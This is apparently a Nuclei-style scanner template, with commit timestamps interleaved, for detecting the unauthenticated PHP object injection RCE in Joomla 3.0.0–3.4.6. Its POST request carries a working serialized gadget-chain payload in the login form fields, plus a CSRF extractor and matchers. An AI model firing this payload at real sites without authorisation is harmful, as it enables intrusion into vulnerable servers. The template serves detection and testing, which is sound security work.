2022-01-20 08:39:19 +00:00
id : rusty-joomla
info :
name : Rusty Joomla RCE - Unauthenticated PHP Object Injection in Joomla CMS
2022-01-21 07:09:28 +00:00
author : leovalcante,kiks7
2022-01-20 08:39:19 +00:00
severity : critical
description : Unauthenticated PHP Object Injection in Joomla CMS from the release 3.0.0 to the 3.4.6 (releases from 2012 to December 2015) that leads to Remote Code Execution.
reference :
- https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/
- https://github.com/kiks7/rusty_joomla_rce
2022-02-01 20:30:09 +00:00
tags : joomla,rce,unauth,php,cms,objectinjection
2022-01-20 08:39:19 +00:00
requests :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-02-01 20:30:09 +00:00
username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3BO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A7%3A%22print_r%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A40%3A%22http%3A%2F%2Frusty.jooml%2F%3Bpkwxhxqxmdkkmscotwvh%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&{{csrf}}=1
2022-01-20 08:39:19 +00:00
redirects : true
2022-02-01 20:30:09 +00:00
max-redirects : 2
2022-01-20 08:39:19 +00:00
cookie-reuse : true
extractors :
- type : regex
name : csrf
part : body
internal : true
group : 1
regex :
- "<input type=\"hidden\" name=\"([0-9a-z]{32})\" value=\"1\""
matchers :
- type : word
words :
2022-02-01 20:30:09 +00:00
- "http://rusty.jooml/;pkwxhxqxmdkkmscotwvh"
- "Failed to decode session object"
condition : and